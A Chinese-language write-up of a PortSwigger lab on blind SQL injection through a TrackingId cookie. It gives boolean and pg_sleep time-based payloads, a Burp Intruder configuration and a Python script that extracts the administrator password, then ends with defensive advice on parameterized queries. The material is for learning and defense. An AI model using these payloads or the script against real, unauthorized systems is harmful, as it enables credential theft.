作为一名经常在PortSwigger靶场里泡着的安全测试爱好者,我最近花了几个晚上把那道经典的“盲注--cookie篇”彻底啃透了。说实话,盲注本身不难理解,难的是很多人第一次接触“注入点在Cookie头”这个设定时,会下意识地忽略它——常规的参数注入做多了,总觉得调毛病应该发生在请求行或者POST体里,却忘了Cookie同样是后端拼SQL时最喜欢的“原材料”之一。这篇文章我就从Cookie盲注这件事讲起,把从判断注入点到逐字符拖出管理员密码的完整链路,以及那些差点让我怀疑人生的编码细节,一次性捋清楚。
如果你是刚开始刷Web Security Academy的SQL注入专题,或者工作中要测试一个登录态依赖Cookie字段的系统,这篇内容应该能帮你少走不少弯路。我尽量按实际操作顺序来写,代码和请求包都给到可以直接复现的程度。
1. 为什么Cookie会成为SQL注入的高发区:一个常被安全测试忽略的入口
1.1 Cookie值被后端直接拼SQL的典型场景
很多人对Cookie的认知停留在“保存会话ID”或者“记住用户偏好”这个层面,确实,大多数框架里Cookie里的Session ID不会直接参与SQL查询,而是通过Session机制映射到服务端的内存或数据库表。但问题在于,有些开发者为了省事,会把一些业务参数也塞进Cookie里,然后在后端代码里拿这个值去查数据库。
举个最典型的例子,一个电商站点希望记住用户上次浏览的商品分类,于是后端在用户访问某个分类页时,把分类ID写进Cookie:TrackingId=1。下次用户再来,后端拿到这个Cookie直接拼SQL:
$id = $_COOKIE['TrackingId']; $query = "SELECT * FROM products WHERE tracking_id = '$id'";你看到这个写法,就应该条件反射地意识到:$id如果是我可控的,那这个tracking_id整条查询都是我的。靶场里的cookie篇还原的正是这种场景,后端拿一个TrackingId的Cookie去查数据库,然后把是否查到某条记录作为页面是否显示“Welcome back”的判断依据。
1.2 为什么常规扫描器经常漏掉Cookie注入
我在实际项目的授权测试里有个体会:现在很多自动化扫描器,尤其是轻量级的漏扫工具,默认情况下对Cookie头的Fuzz力度远不如对GET/POST参数。原因不复杂——Cookie的结构是key=value; key2=value2这种分号分隔格式,扫描器需要额外解析哪些是Cookie名、哪些是Cookie值、哪些需要编码,处理起来比普通参数麻烦,所以很多工具干脆放弃或者简单带过。
这也就给了开发者和测试者一个错觉:Cookie看起来“不那么危险”。攻击者当然不会这么想。只要后端真的用了Cookie值拼SQL,Cookie注入的利用难度和普通参数注入没有任何区别,甚至因为WAF和扫描器对Cookie的关注度低,它的隐蔽性反而更强。
1.3 从“页面有反应”到“页面没反应”的初判
Cookie盲注里最容易被新手漏掉的信号,是页面在“正常”和“异常”之间来回切换,但你不知道为什么会变。比如我刚开始调这个靶场时,把TrackingId的值从abc改成abc',页面直接空白了几秒才恢复;改成abc' AND '1'='1,又恢复了欢迎语;再改成abc' AND '1'='2,欢迎语又没了。
这种“欢迎语有还是没有”的变化,就是布尔盲注里最理想的“行为指示器”。不是每次盲注都有这么明显的差异,如果你遇到的是页面永远只返回“请求失败”或者干脆返回一个空白页,那大概率走的是时间盲注的路线,这个我在第5节会专门展开。
2. 确认注入点的三步验证法:让页面替你说真话
2.1 先看一眼请求包,确定Cookie的字段位
进入靶场环境后,别急着改Cookie。先打开Burp Suite的Proxy,找到这次请求的完整数据包。我用的方法是:浏览器的代理指向Burp的8080端口,然后正常访问目标页面,在HTTP History里找到那条带TrackingId的请求。
典型请求长这样:
GET /filter?category=Gifts HTTP/1.1 Host: 靶场地址 Cookie: TrackingId=abcdef; session=xxxxxx注意看,TrackingId的原始值是abcdef这种随机字符串。此时页面能正常加载,且显示“Welcome back”。这已经暗示了后端的逻辑:后端把TrackingId的值放进SQL的WHERE条件里查了一张表,查到记录就认为你是“回访用户”,于是在页面上渲染欢迎语。
2.2 三步验证法:构造三个逐渐收紧的条件
确认注入点不是靠猜,是靠“控制变量”。我习惯按下面三步来验证,每一步都有明确的预期结果。
第一步,破坏性验证。把TrackingId改成abc',提交后观察页面。预期结果是页面出现异常——可能是500错误、可能是空白页,也可能像靶场这样干脆不显示欢迎语了。这说明单引号确实影响了SQL语句的结构,注入点初步成立。
第二步,恒真条件验证。改成:
Cookie: TrackingId=abc' AND '1'='1如果页面恢复了“Welcome back”,说明abc' AND '1'='1在SQL里被拼成了类似WHERE tracking_id = 'abc' AND '1'='1'的语句,条件恒真,所以查询有结果。
第三步,恒假条件验证。改成:
Cookie: TrackingId=abc' AND '1'='2预期是页面再次丢失欢迎语,因为整体条件恒假。三步走完,注入点确认无疑:这是一个字符串型的Cookie注入,且后端反馈的布尔结果直接映射到“Welcome back”是否出现。
2.3 为什么这个页面反馈机制能成为“盲注的命门”
盲注里最怕的是没有反馈。靶场这里把SQL查询的真假映射到了页面上的一个小元素,这已经是特例了。真实环境里,你可能会遇到“查到了和没查到都返回200,只是响应时间差10毫秒”这种极端情况。但作为初学者,利用这种明确的布尔差异来理解盲注原理是最佳路径。
有一点我要提醒:别急着把三步验证里的请求直接丢给Intruder去爆破。先把每一步的响应包打开看一眼,确认欢迎语确实有差异,顺便观察一下响应状态码。我见过不少人在第一步abc'就把请求发重了导致靶场临时封锁IP,得不偿失。靶场环境虽然有反自动化机制,但大部分情况下只会让你多等一会,不会直接封死,不过养成手稳的习惯总没错。
3. 布尔盲注的提问艺术:把数据猜成二进制
3.1 为什么不能直接“查出来”,只能“问出来”
普通SQL注入的思路是让数据直接返回在页面上,比如联合查询UNION SELECT username, password FROM users,然后页面把数据渲染出来。盲注不行——页面只告诉你真或者假,不会告诉你查询结果本身。所以策略要反过来:把“查询结果”转换成“一个又一个能用真/假回答的问题”。
举个例子,我想知道管理员密码的第一个字符是什么。我不会直接问“密码是什么”,而是问:“密码第一个字符的ASCII码是否大于100?”页面如果返回欢迎语,说明答案是“是”;没有欢迎语,就是“否”。根据回答,我再问“是否大于110?”“是否大于115?”……一步步把范围缩小,直到锁定一个精确值。
这就是二分搜索的思路,比从字符集里一个一个试要高效得多。字符集如果是a-z 0-9共36个字符,顺序遍历最多要36次请求;用二分法,最多6次就能锁定一个字符的位置。
3.2 条件判断的SQL写法:SUBSTRING、ASCII与二分逻辑
在靶场常见的技术栈里,我惯用的判断条件是这种组合:
abc' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a' --拆开看,SUBSTRING(字符串,起始位,长度)在PostgreSQL里等同于SUBSTR,MySQL里的MID也是同一个思路。(SELECT password FROM users WHERE username='administrator')是子查询,先从users表里拿出管理员那一行,SUBSTRING(password,1,1)取出密码字符串的第一个字符,然后和'a'比较。
如果是二分法写法,我一般用ASCII比较:
abc' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)) > 100 --当这个条件为真时页面显示欢迎语,为假时不显示。实际操作时,我会先试>64,因为大小写字母和数字的ASCII区间在48到122之间,64这个中点能把范围砍一半。如果返回真,再试>96;如果返回假,我还得判断到底是比64小还是落在64到96之间,所以下一步会试>48。这样一轮下来,一个字符的确定只需要5-6次请求。
3.3 为什么不能用LIKE和=在盲注里做字符匹配
顺便说个我踩过的坑:早期我图省事,用过SUBSTRING(...,1,1) > 'a'这种写法,忽略了MySQL和PostgreSQL在比较字符串时可能受字符集排序规则影响,结果同样的条件在两个数据库里返回结果不一样。后来我统一改成ASCII()把字符转成数字再比较,跨数据库的兼容性一下子稳了很多。
另一个更隐蔽的坑发生在=比较上:如果密码里包含大小写字母,直接='a'的比对是区分大小写的,没问题;但如果遇到数据库配置了不区分大小写的排序规则(常见于某些MySQL默认配置),='A'和='a'会同样返回真,导致你提取出来的密码大小写是错的。用ASCII()可以绕开这个不确定性,因为ASCII码本来就区分大小写——A是65,a是97。
4. 逐字符提取数据库:从库名到密码的完整链路
4.1 先确认数据库类型:同一个载荷,不同数据库语法可能完全不同
盲注的载荷是有“方言”的。SUBSTRING这个函数在PostgreSQL、MySQL里都好用,但SQL Server用的是SUBSTRING没错,检测就能过;Oracle的字符串截取却是SUBSTR和INSTR,而且Oracle里SELECT后必须带FROM,子查询的写法也有讲究。所以第一步先判断后端用的什么数据库,能少走很多弯路。
判断方法很简单,利用各数据库特有的注释符或函数。我习惯在Cookie值后面加一个类型感知的探针:
Cookie: TrackingId=abc'||(SELECT 1)||'PostgreSQL里||是字符串拼接运算符,(SELECT 1)作为一个子查询同时满足“必须有FROM”的规则,所以整个表达式是合法的;MySQL对||默认当作逻辑或,这个载荷大概率会报错或者跟预期不一致;SQL Server同样不支持这样写。响应有欢迎语还是没欢迎语,就能初步分出阵营。
4.2 密码提取的完整公式:从查库名到查列名再到查值
确认是PostgreSQL后,我的提取链路基本固定为四步:
第一步,查数据库版本。条件:
abc' AND SUBSTRING((SELECT version()),1,1)='P' --这里version()返回字符串,取第一个字符和字母P比较,如果页面显示欢迎语,说明版本字符串确实以P开头(PostgreSQL的版本字符串就是类似“PostgreSQL 12.x”的格式)。当然你也可以直接查current_database()。
第二步,查当前数据库里的表名。条件:
abc' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema='public' LIMIT 1)='u' --这里用到information_schema这个标准元数据数据库,table_schema='public'过滤掉系统自带表,LIMIT 1保证子查询只返回一行。之所以先确认表名,是因为后面要确认users表里到底存的是username和password还是别的列名——真实环境里的列名经常出乎意料。
第三步,查列名。条件:
abc' AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u' --第四步,查密码。等确认了users表有password列之后,才轮到真正想拿的数据:
abc' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a' --为了省请求,我在第二步和第三步通常会一次性取前几个字符来判断表名和列名的开头,而不是一个字符一个字符硬猜。比如先测SUBSTRING(...,1,3)='use',返回真就说明大概率是users。这样可以把表名和列名的确认请求数量压缩到两位数以内。
4.3 用Burp Intruder把单个字符的猜测“批量化”
手工逐字符发请求很锻炼耐心,但在实战中我更喜欢让工具替我干脏活。以第一个字符为例,我用Burp的Intruder配置大致是这样的:把Cookie: TrackingId=abc' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='§a§' --整段作为请求模板,在'a'的位置标记一个Payload位置,Payload类型选“Brute Force”,字符集填abcdefghijklmnopqrstuvwxyz0123456789,跑一轮,观察哪个字符对应的响应里有“Welcome back”,哪个就是密码的第一个字符。
依次把,1,1改成,2,1、,3,1,重复同样的爆破,就能把所有字符都拖出来。每一轮最多36个请求,如果密码是20位的,总共大概720个请求。靶场的环境足够快,我用默认线程数跑完也就几分钟。
这里有个小技巧:Intruder的线程数不要开太高,20到30是合理的。靶场有反自动化机制,如果短时间请求量太大,会出现“暂时无法处理你的请求”之类的提示,反而拖慢进度。我实测过50线程跑第一轮时触发了限制,降到25线程就顺畅多了。
4.4 提取完密码之后别忘了这步:验证数据真的能用
拖出密码字符串之后,大多数人第一反应是赶紧拿它登录管理员账号。但我的习惯是先停一下,打开Burp的Repeater,用完整的Cookie盲注条件再验证一次密码的最后一个字符和长度,防止提取过程中因为某一位判断错误导致密码整体不对。
举个具体例子,如果密码是q95a6vg7h2这样的10位随机串,那在第1到第10轮里每一轮都会成功得到一个字符。但要是第7轮里你忘了改SUBSTRING(...,7,1),直接复制上一轮的模板发出去,得到的还是第6个字符,最后拼出来的密码就会错位。密码对不上登录页的时候,优先回去排查是不是重复用了某个字符,而不是怀疑数据库里有别的密码。
5. 时间盲注与工具化提速:用脚本替代手工人肉
5.1 时间盲注为什么存在:当页面连“对错”都不告诉你时
不是所有靶场题都有“Welcome back”这种布尔指示器。我有时会遇到一个更极端的场景:无论注入条件是真还是假,页面返回的内容、状态码、响应头几乎完全一致,唯一能观察到的变量是“响应时间”。这种情况只能上时间盲注——利用SLEEP或pg_sleep这类函数,让SQL执行时间变成可控的“真”与“假”信号。
PostgreSQL下的常用载荷长这样:
abc'||(SELECT CASE WHEN (条件) THEN pg_sleep(10) ELSE NULL END)||'当条件为真时,pg_sleep(10)让整个查询停顿10秒;条件为假时,查询正常返回,响应时间约等于毫秒级。这样一个“等了10秒”和“没等10秒”的差异,就替代了布尔盲注里的“有欢迎语”和“没欢迎语”。
5.2 时间盲注的完整公式与响应时间判断
以提取密码第一个字符的ASCII大于100为例,时间盲注的完整Cookie值可以写成:
Cookie: TrackingId=abc'||(SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1))>100 THEN pg_sleep(10) ELSE NULL END)||'提交后,我用Burp的Response time列观察:如果这个请求耗时超过10秒,说明判断为真;如果一两秒之内就返回,说明判断为假。注意,这里的“一两秒之内”不是我拍脑袋说的,是我先测了一条正常的TrackingId=abc请求作为基准——靶场正常响应大概在300到800毫秒,加上网络波动,我通常把“小于3秒”视为假,“大于9秒”视为真。阈值设定要留足余量,避免网络抖动造成误判。
有个很容易忽略的细节:pg_sleep(10)里的数字并不是越大越好。设成10秒,一次二分判断就是10秒,提取一个字符要6次判断,一个20位的密码要120次,单线程串行要20分钟。设置成5秒,总时间减半,但网络抖动造成的误判率会上升。我个人的折中方案是:靶场环境用5秒,真实环境如果网络稳定也可以5秒,网络不稳就10秒起步。
5.3 用Python脚本自动化时间盲注:从“人肉二分”到“撒手不管”
手工跑时间盲注极其折磨——每发一个请求等几秒,提取一个字符要重复五六次,提取完整个密码要几十分钟盯着屏幕。所以只要条件允许,我就会把时间盲注的流程写成Python脚本,自动化跑完。
我这里贴一个我在靶场练习时反复用过的简化版脚本,配合requests库就能跑。核心思路就是上面说的二分法,对每一位字符的ASCII值做二分查找,用响应时间判断大于还是小于当前中点。
import requests url = "https://靶场地址/filter?category=Gifts" cookie_template = "TrackingId=abc'||(SELECT CASE WHEN {condition} THEN pg_sleep(5) ELSE NULL END)||'" session_cookie = "你自己的session值" def check(condition): cookies = { "TrackingId": cookie_template.format(condition=condition), "session": session_cookie } resp = requests.get(url, cookies=cookies, timeout=15) return resp.elapsed.total_seconds() > 3 # 判断目标表里的密码长度 def get_len(): low, high = 1, 40 while low < high: mid = (low + high) // 2 cond = f"SELECT LENGTH(password) FROM users WHERE username='administrator'>{mid}" # 注意实际请求需要把子查询包进ASCII比较的上下文中 if check(f"ASCII(SUBSTRING((SELECT LENGTH(password) FROM users WHERE username='administrator')::text,1,1))>{mid}"): low = mid + 1 else: high = mid return low # 二分提取每一位字符 def extract_char(pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='administrator'),{pos},1))>{mid}" if check(condition): low = mid + 1 else: high = mid return chr(low) password = "" for i in range(1, 21): password += extract_char(i) print(f"第{i}位: {password}") print("完整密码:", password)脚本里有几个需要根据实际情况调整的地方:cookie_template要改成你自己的注入上下文,session值要填Burp里看到的正确会话,get_len函数里的写法我简化过,真正的长度探测用单独的子查询包一下LENGTH(password)再比较,就不会和提取字符的逻辑混在一起。我实际跑的时候是先把长度拿到,再按这个长度循环提取每一位。
这里说句实在话:能用布尔盲注的地方尽量别用时间盲注,能用脚本自动化的地方尽量别手工点。时间盲注的本质是拿请求延迟换数据,它应该是最后的手段,而不是首选——因为慢、容易受网络影响、误判排查也麻烦。
6. 踩坑实录:Cookie编码、分号转义与Burp重发器的细节
6.1 Cookie值里的分号和等号会让你书写的载荷悄然“分家”
在Cookie里做注入,最阴间的坑就是分号。Cookie: TrackingId=abc' ;'这种写法,http解析器会把分号当成Cookie字段的分隔符,'这个值就成了一个独立的Cookie项,后端读TrackingId的时候拿到的是abc'——SQL没变,还是原来的样子,注入失败。
我第一次遇到这个问题时傻了半小时,明明Intruder里显示的载荷是对的,转发出去就是没反应。后来打开Burp的Request Inspector一看,才知道发送的时候分号后面的内容被单独解析成了新Cookie。解决办法有两个:一是把分号本身URL编码成%3B,二是把整个Cookie值用双引号包起来,从协议层面让分号不再具备分隔功能。靶场环境里我试过直接发原始分号也能触发,但那个是后端解析器对畸形Cookie比较宽容;在真实生产环境,不少网关会把带分号的Cookie直接拒掉,所以我还是建议统一用URL编码。
等号和空格也有类似问题。=在Cookie值内部出现不会导致解析出错,但如果你的条件里出现了=加空格(比如'='后面跟个空格再接'1'),偶尔会被某些解析器截断。我的习惯是把所有注入载荷里的特殊字符全部用URL编码:空格%20、单引号%27、分号%3B、等号%3D。虽然Burp的Intruder有自动URL编码选项,但如果你手工改Cookie时忘了开,很容易被卡在“怎么看载荷都对,页面就是不响应”的尴尬位置。
6.2 注释符号的写法:为什么最后要加两个减号加一个空格
盲注载荷末尾常用的注释是--,作用是吞掉原本SQL语句里后面可能存在的多余内容。比如后端真实语句是:
SELECT * FROM products WHERE tracking_id = 'abc' AND category = 'Gifts'我注入一个abc' AND '1'='1' --,最终SQL变成:
SELECT * FROM products WHERE tracking_id = 'abc' AND '1'='1' -- ' AND category = 'Gifts'--后面的所有内容全被注释掉,原本的AND category = 'Gifts'失效,SQL查的是全表。可这里有个细节:--后面必须要有一个空格,写成--,不然在PostgreSQL里--和后面的内容连在一起会被当成一个连续注释符,注释失效,载荷报错。另一种更稳的选择是用#注释,MySQL支持#,PostgreSQL也支持--带空格,但不同数据库注释符不同,所以前面判断数据库类型这一步真的不能省。
6.3 别忘了Response时间列:把Repeater用成“盲注仪表盘”
盲注过程里我一直在用Burp Repeater做单请求验证,但很多人对Repeater的认知只是“重发请求看响应”,忽略了右下角的响应时间统计。我建议在盲注期间固定打开Repeater底部的时间显示,每次提交后先扫一眼耗时。布尔盲注里大量请求都在100毫秒以内返回,一旦某个请求突然变成2秒、3秒,大概率是SQL执行了额外操作(比如误触发了pg_sleep),这个信号能帮你提前发现载荷被误传到了错误的参数位置。
时间盲注里这个时间显示就是命根子。我在上面脚本里用resp.elapsed.total_seconds()判断阈值就是参考了Burp里这个时间的基准值。你完全可以先用Repeater发一条正常请求,记录基准时间,再发一条恒真的pg_sleep(5)载荷,记录等待时间,把这两个数记在脑子再去写脚本阈值,比盲猜准确得多。
6.4 靶场环境的Session与自动重定向:一个容易被忽略的隐藏变量
最后说个小细节:靶场环境里有时候会做Session轮换或者302重定向,尤其是当你频繁操作后触发了某些保护机制。我在跑长脚本时遇到过几回:脚本第30轮还能正常判断真/假,第31轮开始所有请求统一返回302并且秒回,看起来像“条件为假”一样。排查半天才发现是Session过期了,服务器把我重定向到登录页。解决办法很简单:脚本里加一个断言,检查响应状态码和响应体里是否出现登录页特征,一旦异常就暂停并提示我手动刷新Session。这个坑在真实环境的API测试里也经常会遇到,属于通用经验。
7. 开发者的防御清单:从源头封杀Cookie注入
7.1 参数化查询是唯一治本方案
讲了半天的注入手法,如果只停留在测试视角、不给开发建议,那就等于看病不给药方。Cookie注入的根因只有一个:开发者信任了外部输入,直接把它拼进SQL语句。要根治,唯一有效的手段是参数化查询/预编译语句。
拿之前的tracking_id例子改造成参数化写法:
$stmt = $pdo->prepare("SELECT * FROM products WHERE tracking_id = ?"); $stmt->execute([$_COOKIE['TrackingId'] ?? '']);PDO的prepare配合占位符?,数据库驱动会把这个值当成纯数据,而不是SQL语法的一部分。abc' AND '1'='1再怎么变化,在参数化查询里都只是“一个字符串”,无法改变SQL的结构。这比任何WAF、任何输入过滤都可靠,因为过滤总有绕过手法,参数化是从语法层面杜绝了注入的可能性。
同样道理,Cookie里的其他值如果涉及到数据库查询,也一样要走参数化。不要觉得“这个Cookie只有系统自己写,用户改不了”——用户完全可以自己构造请求头,Cookie没有内置防止篡改的机制,任何出现在HTTP头里的值都默认不可信。
7.2 最小权限与异常处理的兜底方案
即使全部SQL都用了参数化,我依然建议给数据库账号设置最小权限。专门用来处理业务查询的账号,只给SELECT、INSERT、UPDATE、DELETE,绝不盲目给DDL权限比如CREATE、ALTER、DROP。这样即使哪一天真的出现了一个0day级别的注入漏洞,攻击者能做的事情也会被权限死死限制住。
另外,异常处理要藏好细节。很多盲注能成立,恰恰是因为后端把SQL错误信息原样返回了,或者页面在SQL报错时和非报错时呈现明显差异。正确的做法是:任何数据库异常都记录到服务端日志,但返回给客户端的永远是一个统一的错误页。这不会阻止盲注本身,但能大幅增加攻击者的判断难度——当“报错”和“不报错”都返回同一个页面时,他们就必须依赖时间盲注,速度慢一个数量级,暴露风险也高得多。
7.3 对自己写的系统也做一次“Cookie视角”的代码审计
如果你是个开发者,看完这篇文章,我建议你顺手做一件事:打开自己项目里所有读取$_COOKIE、Cookie.Get、request.cookies的地方,看看有没有哪个值被直接拼到SQL、拼到日志、拼到命令执行里。我在实际代码审计中看到过太多次req.headers.cookie直接被拿来当查询条件的案例——往往是因为开发者觉得“用户不会改Cookie”,而事实上它和GET参数一样都是完全可控的输入。
如果某个Cookie值非要作为查询条件,又不方便参数化(比如某些老系统),至少做一个白名单校验。比如它本来只应该是数字ID,那就强制(int)转换或者正则匹配/^\d+$/,非白名单直接忽略并重置该Cookie。这虽然不如参数化彻底,但能挡住绝大多数简单的注入尝试。
写在实际操作之后
这次把Cookie盲注彻底跑通之后,我最大的感触是:安全测试的根本能力其实就是“理解数据流在系统里如何流动”。Cookie也好,UA头也罢,只要有一处数据被拼进了SQL,注入的可能性就潜伏在那里。你可以用Burp和脚本把密码拖出来,也可以用参数化查询把这条路堵死——选择权在每一个负责写代码或者测代码的人手里。我在Burp的Repeater里盯着那些毫秒级的响应时间判断真假的时候,总想起一句话:数据库不会说谎,它只是等你想好问题。希望这篇偏实操的总结能帮你少走几步弯路。